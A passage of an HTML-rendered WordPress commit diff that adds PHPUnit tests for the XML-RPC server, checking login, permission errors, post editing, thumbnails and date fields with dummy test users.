+               $this->assertFalse( isset( $wp_registered_sidebars['sidebar-1'] ) );
+
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsxmlrpcbasicphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/basic.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/basic.php                               (rev 0)
+++ trunk/tests/tests/xmlrpc/basic.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,28 @@
</span><ins>+<?php
+
+require_once ABSPATH . 'wp-admin/includes/admin.php';
+require_once ABSPATH . WPINC . '/class-IXR.php';
+require_once ABSPATH . WPINC . '/class-wp-xmlrpc-server.php';
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_Basic extends WP_XMLRPC_UnitTestCase {
+       function test_enabled() {
+               $result = $this->myxmlrpcserver->wp_getOptions( array( 1, 'username', 'password' ) );
+
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               // If disabled, 405 would result.
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_login_pass_ok() {
+               $user_id = $this->make_user_by_role( 'subscriber' );
+
+               $this->assertFalse( $this->myxmlrpcserver->login_pass_ok( 'username', 'password' ) );
+               $this->assertFalse( $this->myxmlrpcserver->login( 'username', 'password' ) );
+
+               $this->assertTrue( $this->myxmlrpcserver->login_pass_ok( 'subscriber', 'subscriber' ) );
+               $this->assertInstanceOf( 'WP_User', $this->myxmlrpcserver->login( 'subscriber', 'subscriber' ) );
+       }
+}
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunkteststestsxmlrpcmtgetRecentPostTitlesphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/mt/getRecentPostTitles.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/mt/getRecentPostTitles.php                              (rev 0)
+++ trunk/tests/tests/xmlrpc/mt/getRecentPostTitles.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,51 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_mt_getRecentPostTitles extends WP_XMLRPC_UnitTestCase {
+
+       function test_invalid_username_password() {
+               $result = $this->myxmlrpcserver->mt_getRecentPostTitles( array( 1, 'username', 'password' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_no_posts() {
+               $this->make_user_by_role( 'author' );
+
+               $result = $this->myxmlrpcserver->mt_getRecentPostTitles( array( 1, 'author', 'author' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 500, $result->code );
+       }
+
+       function test_no_editable_posts() {
+               $this->make_user_by_role( 'author' );
+               $editor = $this->make_user_by_role( 'editor' );
+               $this->factory->post->create( array( 'post_author' => $editor ) );
+
+               $result = $this->myxmlrpcserver->mt_getRecentPostTitles( array( 1, 'author', 'author' ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 0, count( $result ) );
+       }
+
+       function test_date() {
+               $this->make_user_by_role( 'author' );
+
+               $this->factory->post->create();
+
+               $results = $this->myxmlrpcserver->mt_getRecentPostTitles( array( 1, 'author', 'author' ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $results );
+
+               foreach( $results as $result ) {
+                       $post = get_post( $result['postid'] );
+                       $date_gmt = strtotime( get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $post->post_date, false ), 'Ymd\TH:i:s' ) );
+
+                       $this->assertInstanceOf( 'IXR_Date', $result['dateCreated'] );
+                       $this->assertInstanceOf( 'IXR_Date', $result['date_created_gmt'] );
+
+                       $this->assertEquals( strtotime( $post->post_date ), $result['dateCreated']->getTimestamp() );
+                       $this->assertEquals( $date_gmt, $result['date_created_gmt']->getTimestamp() );
+               }
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsxmlrpcmweditPostphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/mw/editPost.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/mw/editPost.php                         (rev 0)
+++ trunk/tests/tests/xmlrpc/mw/editPost.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,199 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_mw_editPost extends WP_XMLRPC_UnitTestCase {
+
+       function test_invalid_username_password() {
+               $post = array();
+               $result = $this->myxmlrpcserver->mw_editPost( array( 1, 'username', 'password', $post ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_edit_own_post() {
+               $contributor_id = $this->make_user_by_role( 'contributor' );
+               $post = array( 'post_title' => 'Post test', 'post_author' => $contributor_id );
+               $post_id = wp_insert_post( $post );
+
+               $new_title = 'Post test (updated)';
+               $post2 = array( 'title' => $new_title );
+               $result = $this->myxmlrpcserver->mw_editPost( array( $post_id, 'contributor', 'contributor', $post2 ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertTrue($result);
+
+               $out = get_post( $post_id );
+               $this->assertEquals( $new_title, $out->post_title );
+       }
+
+       function test_capable_edit_others_post() {
+               $this->make_user_by_role( 'editor' );
+               $contributor_id = $this->make_user_by_role( 'contributor' );
+
+               $post = array( 'post_title' => 'Post test', 'post_author' => $contributor_id );
+               $post_id = wp_insert_post( $post );
+
+               $new_title = 'Post test (updated)';
+               $post2 = array( 'title' => $new_title );
+               $result = $this->myxmlrpcserver->mw_editPost( array( $post_id, 'editor', 'editor', $post2 ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertTrue($result);
+
+               $out = get_post( $post_id );
+               $this->assertEquals( $new_title, $out->post_title );
+       }
+
+       function test_incapable_edit_others_post() {
+               $this->make_user_by_role( 'contributor' );
+               $author_id = $this->make_user_by_role( 'author' );
+
+               $original_title = 'Post test';
+               $post = array( 'post_title' => $original_title, 'post_author' => $author_id );
+               $post_id = wp_insert_post( $post );
+
+               $new_title = 'Post test (updated)';
+               $post2 = array( 'title' => $new_title );
+               $result = $this->myxmlrpcserver->mw_editPost( array( $post_id, 'contributor', 'contributor', $post2 ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+
+               $out = get_post( $post_id );
+               $this->assertEquals( $original_title, $out->post_title );
+       }
+
+       function test_capable_reassign_author() {
+               $contributor_id = $this->make_user_by_role( 'contributor' );
+               $author_id = $this->make_user_by_role( 'author' );
+               $this->make_user_by_role( 'editor' );
+
+               $post = array( 'post_title' => 'Post test', 'post_author' => $contributor_id );
+               $post_id = wp_insert_post( $post );
+
+               $post2 = array( 'wp_author_id' => $author_id );
+               $result = $this->myxmlrpcserver->mw_editPost( array( $post_id, 'editor', 'editor', $post2 ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertTrue($result);
+
+               $out = get_post( $post_id );
+               $this->assertEquals( $author_id, $out->post_author );
+       }
+
+       function test_incapable_reassign_author() {
+               $contributor_id = $this->make_user_by_role( 'contributor' );
+               $author_id = $this->make_user_by_role( 'author' );
+
+               $post = array( 'post_title' => 'Post test', 'post_author' => $contributor_id );
+               $post_id = wp_insert_post( $post );
+
+               $post2 = array( 'wp_author_id' => $author_id );
+               $result = $this->myxmlrpcserver->mw_editPost( array( $post_id, 'contributor', 'contributor', $post2 ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+
+               $out = get_post( $post_id );
+               $this->assertEquals( $contributor_id, $out->post_author );
+       }
+
+       function test_post_thumbnail() {
+               add_theme_support( 'post-thumbnails' );
+
+               $author_id = $this->make_user_by_role( 'author' );
+
+               $post = array( 'post_title' => 'Post Thumbnail Test', 'post_author' => $author_id );
+               $post_id = wp_insert_post( $post );
+
+               $this->assertEquals( '', get_post_meta( $post_id, '_thumbnail_id', true ) );
+
+               // create attachment
+               $filename = ( DIR_TESTDATA.'/images/a2-small.jpg' );
+               $contents = file_get_contents( $filename );
+               $upload = wp_upload_bits( $filename, null, $contents );
+               $this->assertTrue( empty( $upload['error'] ) );
+
+               $attachment = array(
+                       'post_title' => 'Post Thumbnail',
+                       'post_type' => 'attachment',
+                       'post_mime_type' => 'image/jpeg',
+                       'guid' => $upload['url']
+               );
+               $attachment_id = wp_insert_attachment( $attachment, $upload['file'], $post_id );
+
+               // add post thumbnail to post that does not have one
+               $post2 = array( 'wp_post_thumbnail' => $attachment_id );
+               $result = $this->myxmlrpcserver->mw_editPost( array( $post_id, 'author', 'author', $post2 ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( $attachment_id, get_post_meta( $post_id, '_thumbnail_id', true ) );
+
+               // edit the post without supplying a post_thumbnail and check that it didn't change
+               $post3 = array( 'post_content' => 'Updated post' );
+               $result = $this->myxmlrpcserver->mw_editPost( array( $post_id, 'author', 'author', $post3 ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( $attachment_id, get_post_meta( $post_id, '_thumbnail_id', true ) );
+
+               // create another attachment
+               $attachment2 = array_merge( $attachment, array( 'title' => 'Post Thumbnail 2' ) );
+               $attachment2_id = wp_insert_attachment( $attachment2, $upload['file'], $post_id );
+
+               // change the post's post_thumbnail
+               $post4 = array( 'wp_post_thumbnail' => $attachment2_id );
+               $result = $this->myxmlrpcserver->mw_editPost( array( $post_id, 'author', 'author', $post4 ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( $attachment2_id, get_post_meta( $post_id, '_thumbnail_id', true ) );
+
+               // unset the post's post_thumbnail
+               $post5 = array( 'wp_post_thumbnail' => '' );
+               $result = $this->myxmlrpcserver->mw_editPost( array($post_id, 'author', 'author', $post5 ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( '', get_post_meta( $post_id, '_thumbnail_id', true ) );
+
+               remove_theme_support( 'post-thumbnails' );
+       }
+
+       function test_edit_basic_post_info() {
+               $contributor_id = $this->make_user_by_role( 'contributor' );
+
+               $post = array( 'post_title' => 'Title', 'post_content' => 'Content', 'post_excerpt' => 'Excerpt', 'post_author' => $contributor_id );
+               $post_id = wp_insert_post( $post );
+
+               $post2 = array( 'title' => 'New Title', 'post_author' => $contributor_id );
+               $result = $this->myxmlrpcserver->mw_editPost( array( $post_id, 'contributor', 'contributor', $post2 ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertTrue($result);
+
+               $out = get_post( $post_id );
+               $this->assertEquals( $post2['title'], $out->post_title );
+
+               $post3 = array( 'description' => 'New Content', 'post_author' => $contributor_id );
+               $result = $this->myxmlrpcserver->mw_editPost( array( $post_id, 'contributor', 'contributor', $post3 ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertTrue($result);
+
+               $out = get_post( $post_id );
+               $this->assertEquals( $post2['title'], $out->post_title );
+               $this->assertEquals( $post3['description'], $out->post_content );
+
+               $post4 = array( 'mt_excerpt' => 'New Excerpt', 'post_author' => $contributor_id );
+               $result = $this->myxmlrpcserver->mw_editPost( array( $post_id, 'contributor', 'contributor', $post4 ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertTrue($result);
+
+               $out = get_post( $post_id );
+               $this->assertEquals( $post2['title'], $out->post_title );
+               $this->assertEquals( $post3['description'], $out->post_content );
+               $this->assertEquals( $post4['mt_excerpt'], $out->post_excerpt );
+       }
+
+       // Not allowed since [19914]
+       function test_change_post_type() {
+               $contributor_id = $this->make_user_by_role( 'contributor' );
+
+               $post = array( 'post_title' => 'Title', 'post_author' => $contributor_id );
+               $post_id = wp_insert_post( $post );
+
+               $post2 = array( 'post_type' => 'page' );
+               $result = $this->myxmlrpcserver->mw_editPost( array( $post_id, 'contributor', 'contributor', $post2 ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( $result->code, 401 );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsxmlrpcmwgetPostphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/mw/getPost.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/mw/getPost.php                          (rev 0)
+++ trunk/tests/tests/xmlrpc/mw/getPost.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,142 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_mw_getPost extends WP_XMLRPC_UnitTestCase {
+       var $post_data;
+       var $post_id;
+       var $post_date_ts;
+
+       function setUp() {
+               parent::setUp();
+
+               $author_id = $this->make_user_by_role( 'author' );
+               $this->post_date_ts = strtotime( '+1 day' );
+               $this->post_data = array(
+                       'post_title' => rand_str(),
+                       'post_content' => rand_str( 2000 ),
+                       'post_excerpt' => rand_str( 100 ),
+                       'post_author' => $author_id,
+                       'post_date'  => strftime( "%Y-%m-%d %H:%M:%S", $this->post_date_ts ),
+               );
+               $this->post_id = wp_insert_post( $this->post_data );
+       }
+
+       function test_invalid_username_password() {
+               $result = $this->myxmlrpcserver->mw_getPost( array( $this->post_id, 'username', 'password' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_incapable_user() {
+               $this->make_user_by_role( 'subscriber' );
+
+               $result = $this->myxmlrpcserver->mw_getPost( array( $this->post_id, 'subscriber', 'subscriber' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+       }
+
+       /**
+        * @ticket 20336
+        */
+       function test_invalid_postid() {
+               $result = $this->myxmlrpcserver->mw_getPost( array( 9999, 'author', 'author' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 404, $result->code );
+       }
+
+       function test_valid_post() {
+               add_theme_support( 'post-thumbnails' );
+
+               $fields = array( 'post' );
+               $result = $this->myxmlrpcserver->mw_getPost( array( $this->post_id, 'author', 'author' ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+
+               // Check data types
+               $this->assertInternalType( 'string', $result['userid'] );
+               $this->assertInternalType( 'int', $result['postid'] );
+               $this->assertInternalType( 'string', $result['description'] );
+               $this->assertInternalType( 'string', $result['title'] );
+               $this->assertInternalType( 'string', $result['link'] );
+               $this->assertInternalType( 'string', $result['permaLink'] );
+               $this->assertInternalType( 'array',  $result['categories'] );
+               $this->assertInternalType( 'string', $result['mt_excerpt'] );
+               $this->assertInternalType( 'string', $result['mt_text_more'] );
+               $this->assertInternalType( 'string', $result['wp_more_text'] );
+               $this->assertInternalType( 'int', $result['mt_allow_comments'] );
+               $this->assertInternalType( 'int', $result['mt_allow_pings'] );
+               $this->assertInternalType( 'string', $result['mt_keywords'] );
+               $this->assertInternalType( 'string', $result['wp_slug'] );
+               $this->assertInternalType( 'string', $result['wp_password'] );
+               $this->assertInternalType( 'string', $result['wp_author_id'] );
+               $this->assertInternalType( 'string', $result['wp_author_display_name'] );
+               $this->assertInternalType( 'string', $result['post_status'] );
+               $this->assertInternalType( 'array', $result['custom_fields'] );
+               $this->assertInternalType( 'string', $result['wp_post_format'] );
+               $this->assertInternalType( 'bool',   $result['sticky'] );
+
+
+               // Check expected values
+               $this->assertStringMatchesFormat( '%d', $result['userid'] );
+               $this->assertEquals( $this->post_data['post_title'], $result['title'] );
+               $this->assertEquals( 'draft', $result['post_status'] );
+               $this->assertStringMatchesFormat( '%d', $result['wp_author_id'] );
+               $this->assertEquals( $this->post_data['post_excerpt'], $result['mt_excerpt'] );
+               $this->assertEquals( url_to_postid( $result['link'] ), $this->post_id );
+
+               $this->assertEquals( '', $result['wp_post_thumbnail'] );
+
+               remove_theme_support( 'post-thumbnails' );
+       }
+
+       function test_post_thumbnail() {
+               add_theme_support( 'post-thumbnails' );
+
+               // create attachment
+               $filename = ( DIR_TESTDATA.'/images/a2-small.jpg' );
+               $contents = file_get_contents( $filename );
+               $upload = wp_upload_bits( $filename, null, $contents );
+               $this->assertTrue( empty( $upload['error'] ) );
+
+               $attachment = array(
+                       'post_title' => 'Post Thumbnail',
+                       'post_type' => 'attachment',
+                       'post_mime_type' => 'image/jpeg',
+                       'guid' => $upload['url']
+               );
+               $attachment_id = wp_insert_attachment( $attachment, $upload['file'], $this->post_id );
+
+               set_post_thumbnail( $this->post_id, $attachment_id );
+
+               $fields = array( 'post' );
+               $result = $this->myxmlrpcserver->mw_getPost( array( $this->post_id, 'author', 'author' ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+
+               $this->assertInternalType( 'string', $result['wp_post_thumbnail'] );
+               $this->assertStringMatchesFormat( '%d', $result['wp_post_thumbnail'] );
+               $this->assertEquals( $attachment_id, $result['wp_post_thumbnail'] );
+
+               remove_theme_support( 'post-thumbnails' );
+       }
+
+       function test_date() {
+               $fields = array( 'post' );
+               $result = $this->myxmlrpcserver->mw_getPost( array( $this->post_id, 'author', 'author' ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+
+               $this->assertInstanceOf( 'IXR_Date', $result['dateCreated'] );
+               $this->assertInstanceOf( 'IXR_Date', $result['date_created_gmt'] );
+               $this->assertInstanceOf( 'IXR_Date', $result['date_modified'] );
+               $this->assertInstanceOf( 'IXR_Date', $result['date_modified_gmt'] );
+
+               $this->assertEquals( $this->post_date_ts, $result['dateCreated']->getTimestamp() );
+               $this->assertEquals( $this->post_date_ts, $result['date_modified']->getTimestamp() );
+
+               $post_date_gmt = strtotime( get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $this->post_data['post_date'], false ), 'Ymd\TH:i:s' ) );
+               $post_modified_gmt = strtotime( get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $this->post_data['post_date'], false ), 'Ymd\TH:i:s' ) );
+
+               $this->assertEquals( $post_date_gmt, $result['date_created_gmt']->getTimestamp() );
+               $this->assertEquals( $post_modified_gmt, $result['date_modified_gmt']->getTimestamp() );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsxmlrpcmwgetRecentPostsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/mw/getRecentPosts.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/mw/getRecentPosts.php                           (rev 0)
+++ trunk/tests/tests/xmlrpc/mw/getRecentPosts.php      2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,155 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_mw_getRecentPosts extends WP_XMLRPC_UnitTestCase {
+       var $post_data;
+       var $post_id;
+       var $post_date_ts;
+
+       function setUp() {
+               parent::setUp();
+
+               $author_id = $this->make_user_by_role( 'author' );
+               $this->post_date_ts = strtotime( '+1 day' );
+               $this->post_data = array(
+                       'post_title' => rand_str(),
+                       'post_content' => rand_str( 2000 ),
+                       'post_excerpt' => rand_str( 100 ),
+                       'post_author' => $author_id,
+                       'post_date'  => strftime( "%Y-%m-%d %H:%M:%S", $this->post_date_ts ),
+               );
+               $this->post_id = wp_insert_post( $this->post_data );
+       }
+
+       function test_invalid_username_password() {
+               $result = $this->myxmlrpcserver->mw_getRecentPosts( array( 1, 'username', 'password' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       /**
+        * @ticket 22320
+        */
+       function test_no_editing_privileges() {
+               $this->make_user_by_role( 'subscriber' );
+
+               $result = $this->myxmlrpcserver->mw_getRecentPosts( array( 1, 'subscriber', 'subscriber' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+       }
+       
+       function test_no_editable_posts() {
+               wp_delete_post( $this->post_id );
+
+               $result = $this->myxmlrpcserver->mw_getRecentPosts( array( 1, 'author', 'author' ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 0, count( $result ) );
+       }
+
+       function test_valid_post() {
+               add_theme_support( 'post-thumbnails' );
+
+               $fields = array( 'post' );
+               $results = $this->myxmlrpcserver->mw_getRecentPosts( array( 1, 'author', 'author' ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $results );
+
+               foreach( $results as $result ) {
+                       $post = get_post( $result['postid'] );
+
+                       // Check data types
+                       $this->assertInternalType( 'string', $result['userid'] );
+                       $this->assertInternalType( 'string', $result['postid'] );
+                       $this->assertInternalType( 'string', $result['description'] );
+                       $this->assertInternalType( 'string', $result['title'] );
+                       $this->assertInternalType( 'string', $result['link'] );
+                       $this->assertInternalType( 'string', $result['permaLink'] );
+                       $this->assertInternalType( 'array',  $result['categories'] );
+                       $this->assertInternalType( 'string', $result['mt_excerpt'] );
+                       $this->assertInternalType( 'string', $result['mt_text_more'] );
+                       $this->assertInternalType( 'string', $result['wp_more_text'] );
+                       $this->assertInternalType( 'int', $result['mt_allow_comments'] );
+                       $this->assertInternalType( 'int', $result['mt_allow_pings'] );
+                       $this->assertInternalType( 'string', $result['mt_keywords'] );
+                       $this->assertInternalType( 'string', $result['wp_slug'] );
+                       $this->assertInternalType( 'string', $result['wp_password'] );
+                       $this->assertInternalType( 'string', $result['wp_author_id'] );
+                       $this->assertInternalType( 'string', $result['wp_author_display_name'] );
+                       $this->assertInternalType( 'string', $result['post_status'] );
+                       $this->assertInternalType( 'array', $result['custom_fields'] );
+                       $this->assertInternalType( 'string', $result['wp_post_format'] );
+
+                       // Check expected values
+                       $this->assertStringMatchesFormat( '%d', $result['userid'] );
+                       $this->assertStringMatchesFormat( '%d', $result['postid'] );
+                       $this->assertEquals( $post->post_title, $result['title'] );
+                       $this->assertEquals( 'draft', $result['post_status'] );
+                       $this->assertStringMatchesFormat( '%d', $result['wp_author_id'] );
+                       $this->assertEquals( $post->post_excerpt, $result['mt_excerpt'] );
+                       $this->assertEquals( url_to_postid( $result['link'] ), $post->ID );
+
+                       $this->assertEquals( '', $result['wp_post_thumbnail'] );
+               }
+
+               remove_theme_support( 'post-thumbnails' );
+       }
+
+       function test_post_thumbnail() {
+               add_theme_support( 'post-thumbnails' );
+
+               // create attachment
+               $filename = ( DIR_TESTDATA.'/images/a2-small.jpg' );
+               $contents = file_get_contents( $filename );
+               $upload = wp_upload_bits( $filename, null, $contents );
+               $this->assertTrue( empty( $upload['error'] ) );
+
+               $attachment = array(
+                       'post_title' => 'Post Thumbnail',
+                       'post_type' => 'attachment',
+                       'post_mime_type' => 'image/jpeg',
+                       'guid' => $upload['url']
+               );
+               $attachment_id = wp_insert_attachment( $attachment, $upload['file'], $this->post_id );
+               set_post_thumbnail( $this->post_id, $attachment_id );
+
+               $results = $this->myxmlrpcserver->mw_getRecentPosts( array( $this->post_id, 'author', 'author' ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $results );
+
+               foreach( $results as $result ) {
+                       $this->assertInternalType( 'string', $result['wp_post_thumbnail'] );
+                       $this->assertStringMatchesFormat( '%d', $result['wp_post_thumbnail'] );
+
+                       if( ! empty( $result['wp_post_thumbnail'] ) || $result['postid'] == $this->post_id ) {
+                               $attachment_id = get_post_meta( $result['postid'], '_thumbnail_id', true );
+
+                               $this->assertEquals( $attachment_id, $result['wp_post_thumbnail'] );
+                       }
+               }
+
+               remove_theme_support( 'post-thumbnails' );
+       }
+
+       function test_date() {
+               $this->make_user_by_role( 'editor' );
+
+               $results = $this->myxmlrpcserver->mw_getRecentPosts( array( 1, 'editor', 'editor' ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $results );
+
+               foreach( $results as $result ) {
+                       $post = get_post( $result['postid'] );
+                       $date_gmt = strtotime( get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $post->post_date, false ), 'Ymd\TH:i:s' ) );
+                       $date_modified_gmt = strtotime( get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $post->post_modified, false ), 'Ymd\TH:i:s' ) );
+
+                       $this->assertInstanceOf( 'IXR_Date', $result['dateCreated'] );
+                       $this->assertInstanceOf( 'IXR_Date', $result['date_created_gmt'] );
+                       $this->assertInstanceOf( 'IXR_Date', $result['date_modified'] );
+                       $this->assertInstanceOf( 'IXR_Date', $result['date_modified_gmt'] );
+
+                       $this->assertEquals( strtotime( $post->post_date ), $result['dateCreated']->getTimestamp() );
+                       $this->assertEquals( $date_gmt, $result['date_created_gmt']->getTimestamp() );
+                       $this->assertEquals( strtotime( $post->post_date ), $result['date_modified']->getTimestamp() );
+                       $this->assertEquals( $date_modified_gmt, $result['date_modified_gmt']->getTimestamp() );
+               }
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsxmlrpcmwnewPostphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/mw/newPost.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/mw/newPost.php                          (rev 0)
+++ trunk/tests/tests/xmlrpc/mw/newPost.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,162 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_mw_newPost extends WP_XMLRPC_UnitTestCase {
+
+       function test_invalid_username_password() {
+               $post = array();
+               $result = $this->myxmlrpcserver->mw_newPost( array( 1, 'username', 'password', $post ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_incapable_user() {
+               $this->make_user_by_role( 'subscriber' );
+
+               $post = array();
+               $result = $this->myxmlrpcserver->mw_newPost( array( 1, 'subscriber', 'subscriber', $post ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+       }
+
+       function test_no_content() {
+               $this->make_user_by_role( 'author' );
+
+               $post = array();
+               $result = $this->myxmlrpcserver->mw_newPost( array( 1, 'author', 'author', $post ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 500, $result->code );
+               $this->assertEquals( 'Content, title, and excerpt are empty.', $result->message );
+       }
+
+       function test_basic_content() {
+               $this->make_user_by_role( 'author' );
+
+               $post = array( 'title' => 'Test' );
+               $result = $this->myxmlrpcserver->mw_newPost( array( 1, 'author', 'author', $post ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertStringMatchesFormat( '%d', $result );
+       }
+
+       function test_ignore_id() {
+               $this->make_user_by_role( 'author' );
+
+               $post = array( 'title' => 'Test', 'ID' => 103948 );
+               $result = $this->myxmlrpcserver->mw_newPost( array( 1, 'author', 'author', $post ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertNotEquals( '103948', $result );
+       }
+
+       function test_capable_publish() {
+               $this->make_user_by_role( 'author' );
+
+               $post = array( 'title' => 'Test', 'post_status' => 'publish' );
+               $result = $this->myxmlrpcserver->mw_newPost( array( 1, 'author', 'author', $post ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+       }
+
+       function test_incapable_publish() {
+               $this->make_user_by_role( 'contributor' );
+
+               $post = array( 'title' => 'Test', 'post_status' => 'publish' );
+               $result = $this->myxmlrpcserver->mw_newPost( array( 1, 'contributor', 'contributor', $post ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+       }
+
+       function test_capable_other_author() {
+               $this->make_user_by_role( 'editor' );
+               $other_author_id = $this->make_user_by_role( 'author' );
+
+               $post = array( 'title' => 'Test', 'wp_author_id' => $other_author_id );
+               $result = $this->myxmlrpcserver->mw_newPost( array( 1, 'editor', 'editor', $post ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+       }
+
+       function test_incapable_other_author() {
+               $this->make_user_by_role( 'contributor' );
+               $other_author_id = $this->make_user_by_role( 'author' );
+
+               $post = array( 'title' => 'Test', 'wp_author_id' => $other_author_id );
+               $result = $this->myxmlrpcserver->mw_newPost( array( 1, 'contributor', 'contributor', $post ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+       }
+
+       /**
+        * @ticket 20356
+        */
+       function test_invalid_author() {
+               $this->make_user_by_role( 'editor' );
+
+               $post = array( 'title' => 'Test', 'wp_author_id' => 99999999 );
+               $result = $this->myxmlrpcserver->mw_newPost( array( 1, 'editor', 'editor', $post ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 404, $result->code );
+       }
+
+       function test_empty_author() {
+               $my_author_id = $this->make_user_by_role( 'author' );
+
+               $post = array( 'title' => 'Test' );
+               $result = $this->myxmlrpcserver->mw_newPost( array( 1, 'author', 'author', $post ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertStringMatchesFormat( '%d', $result );
+
+               $out = get_post( $result );
+               $this->assertEquals( $my_author_id, $out->post_author );
+               $this->assertEquals( 'Test', $out->post_title );
+       }
+
+       function test_post_thumbnail() {
+               add_theme_support( 'post-thumbnails' );
+
+               $this->make_user_by_role( 'author' );
+
+               // create attachment
+               $filename = ( DIR_TESTDATA.'/images/a2-small.jpg' );
+               $contents = file_get_contents( $filename );
+               $upload = wp_upload_bits( $filename, null, $contents );
+               $this->assertTrue( empty( $upload['error'] ) );
+
+               $attachment = array(
+                       'post_title' => 'Post Thumbnail',
+                       'post_type' => 'attachment',
+                       'post_mime_type' => 'image/jpeg',
+                       'guid' => $upload['url']
+               );
+               $attachment_id = wp_insert_attachment( $attachment, $upload['file'] );
+
+               $post = array( 'title' => 'Post Thumbnail Test', 'wp_post_thumbnail' => $attachment_id );
